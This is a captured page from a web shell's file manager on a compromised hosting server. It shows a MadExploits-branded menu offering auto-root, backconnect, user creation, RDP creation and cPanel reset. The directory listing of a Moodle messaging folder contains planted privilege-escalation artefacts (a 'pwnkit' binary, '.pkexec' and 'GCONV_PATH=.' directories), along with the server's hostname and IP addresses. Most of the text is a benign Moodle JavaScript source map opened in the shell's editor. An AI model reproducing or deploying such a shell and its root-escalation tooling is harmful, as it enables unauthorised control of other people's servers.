Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 108.162.216.127
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
message /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
message_drawer.min.js
6.98
KB
-rw-r--r--
message_drawer.min.js.map
18.02
KB
-rw-r--r--
message_drawer_events.min.js
1.53
KB
-rw-r--r--
message_drawer_events.min.js.m...
3.33
KB
-rw-r--r--
message_drawer_helper.min.js
857
B
-rw-r--r--
message_drawer_helper.min.js.m...
3.05
KB
-rw-r--r--
message_drawer_lazy_load_list....
3.4
KB
-rw-r--r--
message_drawer_lazy_load_list....
12.29
KB
-rw-r--r--
message_drawer_router.min.js
4.11
KB
-rw-r--r--
message_drawer_router.min.js.m...
13.8
KB
-rw-r--r--
message_drawer_routes.min.js
568
B
-rw-r--r--
message_drawer_routes.min.js.m...
1.62
KB
-rw-r--r--
message_drawer_view_contact.mi...
1.02
KB
-rw-r--r--
message_drawer_view_contact.mi...
3.81
KB
-rw-r--r--
message_drawer_view_contacts.m...
3.1
KB
-rw-r--r--
message_drawer_view_contacts.m...
9.22
KB
-rw-r--r--
message_drawer_view_contacts_s...
2.65
KB
-rw-r--r--
message_drawer_view_contacts_s...
8.64
KB
-rw-r--r--
message_drawer_view_contacts_s...
1.96
KB
-rw-r--r--
message_drawer_view_contacts_s...
6.03
KB
-rw-r--r--
message_drawer_view_conversati...
41.56
KB
-rw-r--r--
message_drawer_view_conversati...
119.9
KB
-rw-r--r--
message_drawer_view_conversati...
5.96
KB
-rw-r--r--
message_drawer_view_conversati...
11.6
KB
-rw-r--r--
message_drawer_view_conversati...
20.67
KB
-rw-r--r--
message_drawer_view_conversati...
69.68
KB
-rw-r--r--
message_drawer_view_conversati...
24.57
KB
-rw-r--r--
message_drawer_view_conversati...
86.42
KB
-rw-r--r--
message_drawer_view_conversati...
11.14
KB
-rw-r--r--
message_drawer_view_conversati...
40.62
KB
-rw-r--r--
message_drawer_view_group_info...
2.27
KB
-rw-r--r--
message_drawer_view_group_info...
7.88
KB
-rw-r--r--
message_drawer_view_overview.m...
4.33
KB
-rw-r--r--
message_drawer_view_overview.m...
14.37
KB
-rw-r--r--
message_drawer_view_overview_s...
15.53
KB
-rw-r--r--
message_drawer_view_overview_s...
44.95
KB
-rw-r--r--
message_drawer_view_search.min...
14.13
KB
-rw-r--r--
message_drawer_view_search.min...
44.02
KB
-rw-r--r--
message_drawer_view_settings.m...
4.55
KB
-rw-r--r--
message_drawer_view_settings.m...
15.39
KB
-rw-r--r--
message_notification_preferenc...
970
B
-rw-r--r--
message_notification_preferenc...
2.75
KB
-rw-r--r--
message_popover.min.js
1.46
KB
-rw-r--r--
message_popover.min.js.map
4.67
KB
-rw-r--r--
message_preferences.min.js
2.19
KB
-rw-r--r--
message_preferences.min.js.map
6.14
KB
-rw-r--r--
message_repository.min.js
12.07
KB
-rw-r--r--
message_repository.min.js.map
44.79
KB
-rw-r--r--
message_send_bulk.min.js
2.37
KB
-rw-r--r--
message_send_bulk.min.js.map
4.83
KB
-rw-r--r--
message_user_button.min.js
1.67
KB
-rw-r--r--
message_user_button.min.js.map
5.23
KB
-rw-r--r--
notification_preference.min.js
2.46
KB
-rw-r--r--
notification_preference.min.js...
7.42
KB
-rw-r--r--
notification_processor.min.js
1.34
KB
-rw-r--r--
notification_processor.min.js....
3.78
KB
-rw-r--r--
notification_processor_setting...
4.57
KB
-rw-r--r--
notification_processor_setting...
13.82
KB
-rw-r--r--
preferences_notifications_list...
3.54
KB
-rw-r--r--
preferences_notifications_list...
9.04
KB
-rw-r--r--
preferences_processor_form.min...
1.35
KB
-rw-r--r--
preferences_processor_form.min...
4.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
toggle_contact_button.min.js
2.18
KB
-rw-r--r--
toggle_contact_button.min.js.m...
8.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_drawer_view_overview_section.min.js.map
{"version":3,"file":"message_drawer_view_overview_section.min.js","sources":["../src/message_drawer_view_overview_section.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Controls a section of the overview page in the message drawer.\n *\n * @module core_message/message_drawer_view_overview_section\n * @copyright 2018 Ryan Wyllie <ryan@moodle.com>\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\ndefine(\n[\n 'jquery',\n 'core/custom_interaction_events',\n 'core/notification',\n 'core/pubsub',\n 'core/str',\n 'core/pending',\n 'core/templates',\n 'core/user_date',\n 'core_message/message_repository',\n 'core_message/message_drawer_events',\n 'core_message/message_drawer_router',\n 'core_message/message_drawer_routes',\n 'core_message/message_drawer_lazy_load_list',\n 'core_message/message_drawer_view_conversation_constants'\n],\nfunction(\n $,\n CustomEvents,\n Notification,\n PubSub,\n Str,\n Pending,\n Templates,\n UserDate,\n MessageRepository,\n MessageDrawerEvents,\n MessageDrawerRouter,\n MessageDrawerRoutes,\n LazyLoadList,\n MessageDrawerViewConversationContants\n) {\n\n var SELECTORS = {\n TOGGLE: '[data-region=\"toggle\"]',\n CONVERSATION: '[data-conversation-id]',\n BLOCKED_ICON_CONTAINER: '[data-region=\"contact-icon-blocked\"]',\n LAST_MESSAGE: '[data-region=\"last-message\"]',\n LAST_MESSAGE_DATE: '[data-region=\"last-message-date\"]',\n MUTED_ICON_CONTAINER: '[data-region=\"muted-icon-container\"]',\n UNREAD_COUNT: '[data-region=\"unread-count\"]',\n SECTION_TOTAL_COUNT: '[data-region=\"section-total-count\"]',\n SECTION_TOTAL_COUNT_CONTAINER: '[data-region=\"section-total-count-container\"]',\n SECTION_UNREAD_COUNT: '[data-region=\"section-unread-count\"]',\n PLACEHOLDER_CONTAINER: '[data-region=\"placeholder-container\"]'\n };\n\n var TEMPLATES = {\n CONVERSATIONS_LIST: 'core_message/message_drawer_conversations_list',\n CONVERSATIONS_LIST_ITEMS_PLACEHOLDER: 'core_message/message_drawer_conversations_list_items_placeholder'\n };\n\n var LOAD_LIMIT = 50;\n var loadedConversationsById = {};\n var deletedConversationsById = {};\n var loadedTotalCounts = false;\n var loadedUnreadCounts = false;\n\n /**\n * Get the section visibility status.\n *\n * @param {Object} root The section container element.\n * @return {Bool} Is section visible.\n */\n var isVisible = function(root) {\n return LazyLoadList.getRoot(root).hasClass('show');\n };\n\n /**\n * Set this section as expanded.\n *\n * @param {Object} root The section container element.\n */\n var setExpanded = function(root) {\n root.addClass('expanded');\n };\n\n /**\n * Set this section as collapsed.\n *\n * @param {Object} root The section container element.\n */\n var setCollapsed = function(root) {\n root.removeClass('expanded');\n };\n\n /**\n * Render the total count value and show it for the user. Also update the placeholder\n * HTML for better visuals.\n *\n * @param {Object} root The section container element.\n * @param {Number} count The total count\n */\n var renderTotalCount = function(root, count) {\n var container = root.find(SELECTORS.SECTION_TOTAL_COUNT_CONTAINER);\n var countElement = container.find(SELECTORS.SECTION_TOTAL_COUNT);\n countElement.text(count);\n container.removeClass('hidden');\n Str.get_string('totalconversations', 'core_message', count).done(function(string) {\n container.attr('aria-label', string);\n });\n\n var numPlaceholders = count > 20 ? 20 : count;\n // Array of \"true\" up to the number of placeholders we want.\n var placeholders = Array.apply(null, Array(numPlaceholders)).map(function() {\n return true;\n });\n\n // Replace the current placeholder (loading spinner) with some nicer placeholders that\n // better represent the content.\n Templates.render(TEMPLATES.CONVERSATIONS_LIST_ITEMS_PLACEHOLDER, {placeholders: placeholders})\n .then(function(html) {\n var placeholderContainer = root.find(SELECTORS.PLACEHOLDER_CONTAINER);\n placeholderContainer.html(html);\n return;\n })\n .catch(function() {\n // Silently ignore. Doesn't matter if we can't render the placeholders.\n });\n };\n\n /**\n * Render the unread count value and show it for the user if it's higher than zero.\n *\n * @param {Object} root The section container element.\n * @param {Number} count The unread count\n */\n var renderUnreadCount = function(root, count) {\n var countElement = root.find(SELECTORS.SECTION_UNREAD_COUNT);\n countElement.text(count);\n\n Str.get_string('unreadconversations', 'core_message', count).done(function(string) {\n countElement.attr('aria-label', string);\n });\n\n if (count > 0) {\n countElement.removeClass('hidden');\n }\n };\n\n /**\n * Create a formatted conversation object from the the one we get from events. The new object\n * will be in a format that matches what we receive from the server.\n *\n * @param {Object} conversation\n * @return {Object} formatted conversation.\n */\n var formatConversationFromEvent = function(conversation) {\n // Recursively lowercase all of the keys for an object.\n var recursivelyLowercaseKeys = function(object) {\n return Object.keys(object).reduce(function(carry, key) {\n if ($.isArray(object[key])) {\n carry[key.toLowerCase()] = object[key].map(recursivelyLowercaseKeys);\n } else {\n carry[key.toLowerCase()] = object[key];\n }\n\n return carry;\n }, {});\n };\n\n // Recursively lowercase all of the keys for the conversation.\n var formatted = recursivelyLowercaseKeys(conversation);\n\n // Make sure all messages have the useridfrom property set.\n formatted.messages = formatted.messages.map(function(message) {\n message.useridfrom = message.userfrom.id;\n return message;\n });\n\n return formatted;\n };\n\n /**\n * Render the messages in the overview page.\n *\n * @param {Array} conversations List of conversations to render.\n * @param {Number} userId Logged in user id.\n * @return {Object} jQuery promise.\n */\n var render = function(conversations, userId) {\n\n // Helper to format the last message for rendering.\n // Returns a promise which resolves to either a string, or null\n // (such as in the event of an empty personal space).\n var pending = new Pending();\n\n var formatMessagePreview = async function(lastMessage) {\n if (!lastMessage) {\n return null;\n }\n // Check the message html for a src attribute, indicative of media.\n // Replace <img with <noimg to stop browsers pre-fetching the image as part of tmp element creation.\n var tmpElement = document.createElement(\"element\");\n tmpElement.innerHTML = lastMessage.text.replace(/<img /g, '<noimg ');\n var isMedia = tmpElement.querySelector(\"[src]\") || false;\n\n if (!isMedia) {\n // Try to get the text value of the content.\n // If that's not possible, we'll report it under the catch-all 'other media'.\n var messagePreview = $(lastMessage.text).text();\n if (messagePreview) {\n // The text value of the message must have no html/script tags.\n if (messagePreview.indexOf('<') == -1) {\n return messagePreview;\n }\n }\n }\n\n // As a fallback, report unknowns as 'other media' type content.\n var pix = 'i/messagecontentmultimediageneral';\n var label = 'messagecontentmultimediageneral';\n\n if (lastMessage.text.includes('<img')) {\n pix = 'i/messagecontentimage';\n label = 'messagecontentimage';\n } else if (lastMessage.text.includes('<video')) {\n pix = 'i/messagecontentvideo';\n label = 'messagecontentvideo';\n } else if (lastMessage.text.includes('<audio')) {\n pix = 'i/messagecontentaudio';\n label = 'messagecontentaudio';\n }\n\n try {\n var labelString = await Str.get_string(label, 'core_message');\n var icon = await Templates.renderPix(pix, 'core', labelString);\n return icon + ' ' + labelString;\n } catch (error) {\n Notification.exception(error);\n return null;\n }\n };\n\n var mapPromises = conversations.map(function(conversation) {\n\n var lastMessage = conversation.messages.length ? conversation.messages[conversation.messages.length - 1] : null;\n\n return formatMessagePreview(lastMessage)\n .then(function(messagePreview) {\n var formattedConversation = {\n id: conversation.id,\n imageurl: conversation.imageurl,\n name: conversation.name,\n subname: conversation.subname,\n unreadcount: conversation.unreadcount,\n ismuted: conversation.ismuted,\n lastmessagedate: lastMessage ? lastMessage.timecreated : null,\n sentfromcurrentuser: lastMessage ? lastMessage.useridfrom == userId : null,\n lastmessage: messagePreview\n };\n\n var otherUser = null;\n if (conversation.type == MessageDrawerViewConversationContants.CONVERSATION_TYPES.SELF) {\n // Self-conversations have only one member.\n otherUser = conversation.members[0];\n } else if (conversation.type == MessageDrawerViewConversationContants.CONVERSATION_TYPES.PRIVATE) {\n // For private conversations, remove the current userId from the members to get the other user.\n otherUser = conversation.members.reduce(function(carry, member) {\n if (!carry && member.id != userId) {\n carry = member;\n }\n return carry;\n }, null);\n }\n\n if (otherUser !== null) {\n formattedConversation.userid = otherUser.id;\n formattedConversation.showonlinestatus = otherUser.showonlinestatus;\n formattedConversation.isonline = otherUser.isonline;\n formattedConversation.isblocked = otherUser.isblocked;\n }\n\n if (conversation.type == MessageDrawerViewConversationContants.CONVERSATION_TYPES.PUBLIC) {\n formattedConversation.lastsendername = conversation.members.reduce(function(carry, member) {\n if (!carry && lastMessage && member.id == lastMessage.useridfrom) {\n carry = member.fullname;\n }\n return carry;\n }, null);\n }\n\n return formattedConversation;\n }).catch(Notification.exception);\n });\n\n return Promise.all(mapPromises)\n .then(function(formattedConversations) {\n formattedConversations.forEach(function(conversation) {\n if (new Date().toDateString() == new Date(conversation.lastmessagedate * 1000).toDateString()) {\n conversation.istoday = true;\n }\n });\n\n return Templates.render(TEMPLATES.CONVERSATIONS_LIST, {conversations: formattedConversations});\n }).then(function(html, js) {\n pending.resolve();\n return $.Deferred().resolve(html, js);\n }).catch(function(error) {\n pending.resolve();\n Notification.exception(error);\n });\n };\n\n /**\n * Build the callback to load conversations.\n *\n * @param {Array|null} types The conversation types for this section.\n * @param {bool} includeFavourites Include/exclude favourites.\n * @param {Number} offset Result offset\n * @return {Function}\n */\n var getLoadCallback = function(types, includeFavourites, offset) {\n // Note: This function is a bit messy because we've added the concept of loading\n // multiple conversations types (e.g. private + self) at once but haven't properly\n // updated the web service to accept an array of types. Instead we've added a new\n // parameter for the self type which means we can only ever load self + other type.\n // This should be improved to make it more extensible in the future. Adding new params\n // for each type isn't very scalable.\n var type = null;\n // Include self conversations in the results by default.\n var includeSelfConversations = true;\n if (types && types.length) {\n // Just get the conversation types that aren't \"self\" for now.\n var nonSelfConversationTypes = types.filter(function(candidate) {\n return candidate != MessageDrawerViewConversationContants.CONVERSATION_TYPES.SELF;\n });\n // If we're specifically asking for a list of types that doesn't include the self\n // conversations then we don't need to include them.\n includeSelfConversations = types.length != nonSelfConversationTypes.length;\n // As mentioned above the webservice is currently limited to loading one type at a\n // time (plus self conversations) so let's hope we never change this.\n type = nonSelfConversationTypes[0];\n }\n\n return function(root, userId) {\n return MessageRepository.getConversations(\n userId,\n type,\n LOAD_LIMIT + 1,\n offset,\n includeFavourites,\n includeSelfConversations\n )\n .then(function(response) {\n var conversations = response.conversations;\n\n if (conversations.length > LOAD_LIMIT) {\n conversations = conversations.slice(0, -1);\n } else {\n LazyLoadList.setLoadedAll(root, true);\n }\n\n offset = offset + LOAD_LIMIT;\n\n conversations.forEach(function(conversation) {\n loadedConversationsById[conversation.id] = conversation;\n });\n\n return conversations;\n })\n .catch(Notification.exception);\n };\n };\n\n /**\n * Get the total count container element.\n *\n * @param {Object} root Overview messages container element.\n * @return {Object} Total count container element.\n */\n var getTotalConversationCountElement = function(root) {\n return root.find(SELECTORS.SECTION_TOTAL_COUNT);\n };\n\n /**\n * Get the unread conversations count container element.\n *\n * @param {Object} root Overview messages container element.\n * @return {Object} Unread conversations count container element.\n */\n var getTotalUnreadConversationCountElement = function(root) {\n return root.find(SELECTORS.SECTION_UNREAD_COUNT);\n };\n\n /**\n * Increment the total conversations count.\n *\n * @param {Object} root Overview messages container element.\n */\n var incrementTotalConversationCount = function(root) {\n if (loadedTotalCounts) {\n var element = getTotalConversationCountElement(root);\n var count = parseInt(element.text());\n count = count + 1;\n element.text(count);\n }\n };\n\n /**\n * Decrement the total conversations count.\n *\n * @param {Object} root Overview messages container element.\n */\n var decrementTotalConversationCount = function(root) {\n if (loadedTotalCounts) {\n var element = getTotalConversationCountElement(root);\n var count = parseInt(element.text());\n count = count - 1;\n element.text(count);\n }\n };\n\n /**\n * Decrement the total unread conversations count.\n *\n * @param {Object} root Overview messages container element.\n */\n var decrementTotalUnreadConversationCount = function(root) {\n if (loadedUnreadCounts) {\n var element = getTotalUnreadConversationCountElement(root);\n var count = parseInt(element.text());\n count = count - 1;\n element.text(count);\n\n if (count < 1) {\n element.addClass('hidden');\n }\n }\n };\n\n /**\n * Get a contact / conversation element.\n *\n * @param {Object} root Overview messages container element.\n * @param {Number} conversationId The conversation id.\n * @return {Object} Conversation element.\n */\n var getConversationElement = function(root, conversationId) {\n return root.find('[data-conversation-id=\"' + conversationId + '\"]');\n };\n\n /**\n * Get a contact / conversation element from a user id.\n *\n * @param {Object} root Overview messages container element.\n * @param {Number} userId The user id.\n * @return {Object} Conversation element.\n */\n var getConversationElementFromUserId = function(root, userId) {\n return root.find('[data-user-id=\"' + userId + '\"]');\n };\n\n /**\n * Show the conversation is muted icon.\n *\n * @param {Object} conversationElement The conversation element.\n */\n var muteConversation = function(conversationElement) {\n conversationElement.find(SELECTORS.MUTED_ICON_CONTAINER).removeClass('hidden');\n };\n\n /**\n * Hide the conversation is muted icon.\n *\n * @param {Object} conversationElement The conversation element.\n */\n var unmuteConversation = function(conversationElement) {\n conversationElement.find(SELECTORS.MUTED_ICON_CONTAINER).addClass('hidden');\n };\n\n /**\n * Show the contact is blocked icon.\n *\n * @param {Object} conversationElement The conversation element.\n */\n var blockContact = function(conversationElement) {\n conversationElement.find(SELECTORS.BLOCKED_ICON_CONTAINER).removeClass('hidden');\n };\n\n /**\n * Hide the contact is blocked icon.\n *\n * @param {Object} conversationElement The conversation element.\n */\n var unblockContact = function(conversationElement) {\n conversationElement.find(SELECTORS.BLOCKED_ICON_CONTAINER).addClass('hidden');\n };\n\n /**\n * Create an render new conversation element in the list of conversations.\n *\n * @param {Object} root Overview messages container element.\n * @param {Object} conversation The conversation.\n * @param {Number} userId The logged in user id.\n * @return {Object} jQuery promise\n */\n var createNewConversationFromEvent = function(root, conversation, userId) {\n var existingConversations = root.find(SELECTORS.CONVERSATION);\n\n if (!existingConversations.length) {\n // If we didn't have any conversations then we need to show\n // the content of the list and hide the empty message.\n var listRoot = LazyLoadList.getRoot(root);\n LazyLoadList.showContent(listRoot);\n LazyLoadList.hideEmptyMessage(listRoot);\n }\n\n // Cache the conversation.\n loadedConversationsById[conversation.id] = conversation;\n\n return render([conversation], userId)\n .then(function(html) {\n var contentContainer = LazyLoadList.getContentContainer(root);\n return contentContainer.prepend(html);\n })\n .then(function() {\n return incrementTotalConversationCount(root);\n })\n .catch(Notification.exception);\n };\n\n /**\n * Delete a conversation from the list of conversations.\n *\n * @param {Object} root Overview messages container element.\n * @param {Object} conversationElement The conversation element.\n */\n var deleteConversation = function(root, conversationElement) {\n conversationElement.remove();\n decrementTotalConversationCount(root);\n\n var conversations = root.find(SELECTORS.CONVERSATION);\n if (!conversations.length) {\n // If we don't have any conversations then we need to hide\n // the content of the list and show the empty message.\n var listRoot = LazyLoadList.getRoot(root);\n LazyLoadList.hideContent(listRoot);\n LazyLoadList.showEmptyMessage(listRoot);\n }\n };\n\n /**\n * Mark a conversation as read.\n *\n * @param {Object} root Overview messages container element.\n * @param {Object} conversationElement The conversation element.\n */\n var markConversationAsRead = function(root, conversationElement) {\n var unreadCount = conversationElement.find(SELECTORS.UNREAD_COUNT);\n unreadCount.text('0');\n unreadCount.addClass('hidden');\n decrementTotalUnreadConversationCount(root);\n };\n\n /**\n * Listen to, and handle events in this section.\n *\n * @param {String} namespace Unique identifier for the Routes\n * @param {Object} root The section container element.\n * @param {Function} loadCallback The callback to load items.\n * @param {Array|null} types The conversation types for this section\n * @param {bool} includeFavourites If this section includes favourites\n * @param {String} fromPanel Routing argument to send if the section is loaded in message index left panel.\n */\n var registerEventListeners = function(namespace, root, loadCallback, types, includeFavourites, fromPanel) {\n var listRoot = LazyLoadList.getRoot(root);\n var conversationBelongsToThisSection = function(conversation) {\n // Make sure the type is an int so that the index of check matches correctly.\n var conversationType = parseInt(conversation.type, 10);\n if (\n // If the conversation type isn't one this section cares about then we can ignore it.\n (types && types.indexOf(conversationType) < 0) ||\n // If this is the favourites section and the conversation isn't a favourite then ignore it.\n (includeFavourites && !conversation.isFavourite) ||\n // If this section doesn't include favourites and the conversation is a favourite then ignore it.\n (!includeFavourites && conversation.isFavourite)\n ) {\n return false;\n }\n\n return true;\n };\n\n // Set the minimum height of the section to the height of the toggle. This\n // smooths out the collapse animation.\n var toggle = root.find(SELECTORS.TOGGLE);\n root.css('min-height', toggle.outerHeight());\n\n root.on('show.bs.collapse', function() {\n setExpanded(root);\n LazyLoadList.show(listRoot, loadCallback, function(contentContainer, conversations, userId) {\n return render(conversations, userId)\n .then(function(html) {\n contentContainer.append(html);\n return html;\n })\n .catch(Notification.exception);\n });\n });\n\n root.on('hidden.bs.collapse', function() {\n setCollapsed(root);\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONTACT_BLOCKED, function(userId) {\n var conversationElement = getConversationElementFromUserId(root, userId);\n if (conversationElement.length) {\n blockContact(conversationElement);\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONTACT_UNBLOCKED, function(userId) {\n var conversationElement = getConversationElementFromUserId(root, userId);\n\n if (conversationElement.length) {\n unblockContact(conversationElement);\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_SET_MUTED, function(conversation) {\n var conversationId = conversation.id;\n var conversationElement = getConversationElement(root, conversationId);\n if (conversationElement.length) {\n muteConversation(conversationElement);\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_UNSET_MUTED, function(conversation) {\n var conversationId = conversation.id;\n var conversationElement = getConversationElement(root, conversationId);\n if (conversationElement.length) {\n unmuteConversation(conversationElement);\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_NEW_LAST_MESSAGE, function(conversation) {\n if (!conversationBelongsToThisSection(conversation)) {\n return;\n }\n\n var pendingPromise = new Pending('core_message/message_drawer_view_overview_section:new');\n var loggedInUserId = conversation.loggedInUserId;\n var conversationId = conversation.id;\n var element = getConversationElement(root, conversationId);\n conversation = formatConversationFromEvent(conversation);\n if (element.length) {\n var contentContainer = LazyLoadList.getContentContainer(root);\n render([conversation], loggedInUserId)\n .then(function(html) {\n if (deletedConversationsById[conversationId]) {\n // This conversation was deleted at some point since the messaging drawer was created.\n if (conversation.messages[0].timeadded < deletedConversationsById[conversationId]) {\n // The 'new' message was added before the conversation was deleted.\n // This is probably stale data.\n return;\n }\n }\n contentContainer.prepend(html);\n element.remove();\n\n return;\n })\n .then(pendingPromise.resolve)\n .catch(Notification.exception);\n } else if (conversation.messages.length) {\n createNewConversationFromEvent(root, conversation, loggedInUserId)\n .then(pendingPromise.resolve)\n .catch();\n } else {\n pendingPromise.resolve();\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_DELETED, function(conversationId) {\n var conversationElement = getConversationElement(root, conversationId);\n delete loadedConversationsById[conversationId];\n deletedConversationsById[conversationId] = new Date();\n if (conversationElement.length) {\n deleteConversation(root, conversationElement);\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_READ, function(conversationId) {\n var conversationElement = getConversationElement(root, conversationId);\n if (conversationElement.length) {\n markConversationAsRead(root, conversationElement);\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_SET_FAVOURITE, function(conversation) {\n var conversationElement = null;\n if (conversationBelongsToThisSection(conversation)) {\n conversationElement = getConversationElement(root, conversation.id);\n if (!conversationElement.length) {\n createNewConversationFromEvent(\n root,\n formatConversationFromEvent(conversation),\n conversation.loggedInUserId\n );\n }\n } else {\n conversationElement = getConversationElement(root, conversation.id);\n if (conversationElement.length) {\n deleteConversation(root, conversationElement);\n }\n }\n });\n\n PubSub.subscribe(MessageDrawerEvents.CONVERSATION_UNSET_FAVOURITE, function(conversation) {\n var conversationElement = null;\n if (conversationBelongsToThisSection(conversation)) {\n conversationElement = getConversationElement(root, conversation.id);\n if (!conversationElement.length) {\n createNewConversationFromEvent(\n root,\n formatConversationFromEvent(conversation),\n conversation.loggedInUserId\n );\n }\n } else {\n conversationElement = getConversationElement(root, conversation.id);\n if (conversationElement.length) {\n deleteConversation(root, conversationElement);\n }\n }\n });\n\n CustomEvents.define(root, [CustomEvents.events.activate]);\n root.on(CustomEvents.events.activate, SELECTORS.CONVERSATION, function(e, data) {\n var conversationElement = $(e.target).closest(SELECTORS.CONVERSATION);\n var conversationId = conversationElement.attr('data-conversation-id');\n var conversation = loadedConversationsById[conversationId];\n MessageDrawerRouter.go(namespace, MessageDrawerRoutes.VIEW_CONVERSATION, conversation, fromPanel);\n\n data.originalEvent.preventDefault();\n });\n };\n\n /**\n * Setup the section.\n *\n * @param {String} namespace Unique identifier for the Routes\n * @param {Object} header The header container element.\n * @param {Object} body The section container element.\n * @param {Object} footer The footer container element.\n * @param {Array} types The conversation types that show in this section\n * @param {bool} includeFavourites If this section includes favourites\n * @param {Object} totalCountPromise Resolves wth the total conversations count\n * @param {Object} unreadCountPromise Resolves wth the unread conversations count\n * @param {bool} fromPanel shown in message app panel.\n */\n var show = function(namespace, header, body, footer, types, includeFavourites, totalCountPromise, unreadCountPromise,\n fromPanel) {\n var root = $(body);\n\n if (!root.attr('data-init')) {\n var loadCallback = getLoadCallback(types, includeFavourites, 0);\n registerEventListeners(namespace, root, loadCallback, types, includeFavourites, fromPanel);\n\n if (isVisible(root)) {\n setExpanded(root);\n var listRoot = LazyLoadList.getRoot(root);\n LazyLoadList.show(listRoot, loadCallback, function(contentContainer, conversations, userId) {\n return render(conversations, userId)\n .then(function(html) {\n contentContainer.append(html);\n return html;\n })\n .catch(Notification.exception);\n });\n }\n\n // This is given to us by the calling code because the total counts for all sections\n // are loaded in a single ajax request rather than one request per section.\n totalCountPromise.then(function(count) {\n renderTotalCount(root, count);\n loadedTotalCounts = true;\n return;\n })\n .catch(function() {\n // Silently ignore if we can't updated the counts. No need to bother the user.\n });\n\n // This is given to us by the calling code because the unread counts for all sections\n // are loaded in a single ajax request rather than one request per section.\n unreadCountPromise.then(function(count) {\n renderUnreadCount(root, count);\n loadedUnreadCounts = true;\n return;\n })\n .catch(function() {\n // Silently ignore if we can't updated the counts. No need to bother the user.\n });\n\n root.attr('data-init', true);\n }\n };\n\n return {\n show: show,\n isVisible: isVisible\n };\n});\n"],"names":["define","$","CustomEvents","Notification","PubSub","Str","Pending","Templates","UserDate","MessageRepository","MessageDrawerEvents","MessageDrawerRouter","MessageDrawerRoutes","LazyLoadList","MessageDrawerViewConversationContants","SELECTORS","TEMPLATES","loadedConversationsById","deletedConversationsById","loadedTotalCounts","loadedUnreadCounts","isVisible","root","getRoot","hasClass","setExpanded","addClass","formatConversationFromEvent","conversation","formatted","recursivelyLowercaseKeys","object","Object","keys","reduce","carry","key","isArray","toLowerCase","map","messages","message","useridfrom","userfrom","id","render","conversations","userId","pending","formatMessagePreview","lastMessage","tmpElement","document","createElement","innerHTML","text","replace","querySelector","messagePreview","indexOf","pix","label","includes","get_string","labelString","renderPix","icon","exception","mapPromises","length","then","formattedConversation","imageurl","name","subname","unreadcount","ismuted","lastmessagedate","timecreated","sentfromcurrentuser","lastmessage","otherUser","type","CONVERSATION_TYPES","SELF","members","PRIVATE","member","userid","showonlinestatus","isonline","isblocked","PUBLIC","lastsendername","fullname","catch","Promise","all","formattedConversations","forEach","Date","toDateString","istoday","html","js","resolve","Deferred","error","getTotalConversationCountElement","find","decrementTotalUnreadConversationCount","element","getTotalUnreadConversationCountElement","count","parseInt","getConversationElement","conversationId","getConversationElementFromUserId","createNewConversationFromEvent","listRoot","showContent","hideEmptyMessage","getContentContainer","prepend","incrementTotalConversationCount","deleteConversation","conversationElement","remove","decrementTotalConversationCount","hideContent","showEmptyMessage","registerEventListeners","namespace","loadCallback","types","includeFavourites","fromPanel","conversationBelongsToThisSection","conversationType","isFavourite","toggle","css","outerHeight","on","show","contentContainer","append","removeClass","setCollapsed","subscribe","CONTACT_BLOCKED","blockContact","CONTACT_UNBLOCKED","unblockContact","CONVERSATION_SET_MUTED","muteConversation","CONVERSATION_UNSET_MUTED","unmuteConversation","CONVERSATION_NEW_LAST_MESSAGE","pendingPromise","loggedInUserId","timeadded","CONVERSATION_DELETED","CONVERSATION_READ","unreadCount","markConversationAsRead","CONVERSATION_SET_FAVOURITE","CONVERSATION_UNSET_FAVOURITE","events","activate","e","data","target","closest","attr","go","VIEW_CONVERSATION","originalEvent","preventDefault","header","body","footer","totalCountPromise","unreadCountPromise","offset","includeSelfConversations","nonSelfConversationTypes","filter","candidate","getConversations","LOAD_LIMIT","response","slice","setLoadedAll","getLoadCallback","container","done","string","numPlaceholders","placeholders","Array","apply","renderTotalCount","countElement","renderUnreadCount"],"mappings":";;;;;;;;AAsBAA,2DACA,CACI,SACA,iCACA,oBACA,cACA,WACA,eACA,iBACA,iBACA,kCACA,qCACA,qCACA,qCACA,6CACA,4DAEJ,SACIC,EACAC,aACAC,aACAC,OACAC,IACAC,QACAC,UACAC,SACAC,kBACAC,oBACAC,oBACAC,oBACAC,aACAC,2CAGIC,iBACQ,yBADRA,uBAEc,yBAFdA,iCAGwB,uCAHxBA,+BAMsB,uCANtBA,uBAOc,+BAPdA,8BAQqB,sCARrBA,wCAS+B,gDAT/BA,+BAUsB,uCAVtBA,gCAWuB,wCAGvBC,6BACoB,iDADpBA,+CAEsC,mEAItCC,wBAA0B,GAC1BC,yBAA2B,GAC3BC,mBAAoB,EACpBC,